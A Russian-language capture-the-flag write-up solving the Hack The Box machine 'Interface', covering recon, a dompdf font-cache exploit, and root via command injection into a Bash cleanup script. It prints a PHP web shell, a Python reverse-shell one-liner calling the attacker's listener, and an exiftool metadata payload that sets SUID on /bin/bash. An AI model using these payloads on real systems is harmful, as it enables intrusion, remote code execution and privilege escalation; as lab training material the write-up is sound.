Хакер - HTB Interface. Эксплуатируем баг в dompdf и инжектим команды в скрипт на Bash
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Локальное повышение привилегий
В этом райтапе я покажу несколько способов, как искать скрытый контент на сайте, затем мы проэксплуатируем уязвимость в утилите dompdf и выполним хитрую инъекцию команды ОС в скрипт, чтобы повысить привилегии.
Нашей целью будет получение рута на машине Interface с площадки Hack The Box. Уровень сложности отмечен как средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
10.10.11.200 interface.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Нашли всего два открытых порта:
- 22 — служба OpenSSH 7.6p1;
- 80 — веб‑сервер Nginx 1.14.0.
Поэтому сразу обследуем веб‑сервер и поищем потенциальные точки входа.
ТОЧКА ВХОДА
Просматривая запрос в Burp History, находим новый поддомен.
Добавляем найденный домен в файл /etc/hosts
. Но при попытке обратиться к нему получаем только сообщение о том, что файл не найден.
10.10.11.200 interface.htb prd.m.rendering-api.interface.htb
Попробуем поискать скрытые файлы и каталоги. Я долгое время рекомендовал для этого утилиту ffuf, но теперь перешел на feroxbuster.
При запуске используем следующие параметры:
-u
— URL;-w
— словарь;-t
— количество потоков;-d
— глубина сканирования.
feroxbuster -u http://prd.m.rendering-api.interface.htb/ -w directory_2.3_medium_lowercase.txt -d 1 -t 256
Нашли каталог vendor
, но поиск внутри него ничего не дал. Тогда я решил повторить сканирование, но уже с помощью Burp Intruder: он предоставляет больше данных для выбора нужных страниц.
В итоге находим каталог /api
, который отвечает кодом 404, но содержимое ответа не такое же, как при запросе директории /vendor
. Поскольку мы имеем дело с API, выполняем новое сканирование не только методом GET, но и методом POST. Второй как раз и дал результат.
Так обнаружим одну конечную точку API — /api/html2pdf
, которая сообщает о том, что нужно предоставить параметры в формате JSON. Теперь вернемся к каталогу /vendor
и в нем тоже поищем подкаталоги.
Находим каталог dompdf
. Если поискать это слово в Google, то найдем репозиторий PHP-библиотеки dompdf, конвертирующей страницы HTML в PDF.
ТОЧКА ОПОРЫ
Первым делом я решил поискать эксплоиты для этой библиотеки. В итоге удалось найти репозиторий и отчет об эксплуатации. Из документации я узнал о существовании параметра html
, в котором передается конвертируемый HTML-код.
{ "html": "test" }
В ответе мы получаем документ PDF. Теперь давай посмотрим, как работает уязвимость. На входе у dompdf — документ HTML, в котором могут содержаться стили CSS. Также возможно загрузить шрифты и включить ссылку на файл шрифта. Тут‑то и кроется уязвимость.
Библиотека dompdf не только загрузит внешнюю таблицу стилей через HTML, но и сохранит файл шрифта в локальном кеше, добавит его в каталог шрифтов на сервере и сошлется на его местоположение из dompdf. Таким образом вместо шрифта можно загрузить код на PHP. А затем сослаться на него и выполнить.
Создаем на своем сервере файлы CSS и PHP:
// exploit.css
src:url('http://10.10.14.4/exploit_font.php');
// exploit_font.php
<?php system($_GET['cmd']); ?>
И отправляем в конвертер код на HTML со ссылкой на наш CSS.
{ "html": "<link rel=stylesheet href='http://10.10.14.4/exploit.css'>" }
В логах веб‑сервера видим, как происходит обращение и к CSS, и к PHP. Теперь нужно вычислить хеш MD5 от ссылки на файл PHP и вставить его вот в такой путь:
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_2d9cfd7f66e8bdf74a136a88c4e9fe3a.php
echo -n 'http://10.10.14.4/exploit_font.php' | md5sum
Команда выполнена, а значит, можно бросить реверс‑шелл на листенер pwncat-cs
.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Вот мы и проникли в систему. Осматриваем каталоги других пользователей. В каталоге dev
находим флаг пользователя и, поскольку мы можем читать файлы, без труда забираем его.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Для продвижения нам нужно собрать информацию. Я, как обычно, буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на хост скрипт для Linux, дадим право на выполнение и начнем сканирование. Изучив полученный отчет, я заинтересовался исполняемым файлом /usr/local/sbin/cleancache.sh
, который запускается с привилегиями рута.
Этот скрипт проверяет файлы в каталоге /tmp
. Он использует программу exiftool, чтобы получить поле Producer
из метаданных изображения. Если извлеченная из поля строка отличается от "dompdf"
, файл будет удален.
Здесь слабое место в самом способе использования переменной в операторе if
. Поскольку на ее значение мы можем влиять, скрипт уязвим к внедрению команд.
Проверим с помощью pspy64, запускается ли этот скрипт.
pspy64 -d /usr/local/sbin/
Скрипт запускается, поэтому мы можем перейти к эксплуатации уязвимости. Чтобы добиться выполнения команды в if
, можно использовать конструкцию qwe[$(command>&2)]
. Создадим скрипт getroot.sh
, который будет назначать бит SUID файлу командной оболочки /bin/bash
.
Теперь поместим вызов нашего скрипта в эту конструкцию и запишем в метаданные файла с помощью exiftool
.
echo 'chmod u+s /bin/bash' > /dev/shm/getroot.sh
chmod +x /dev/shm/getroot.sh
touch getroot ; exiftool -Producer='qwe[$(/dev/shm/getroot.sh)]' getroot
Через некоторое время проверяем права на файл /bin/bash
и видим присвоенный S-бит.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei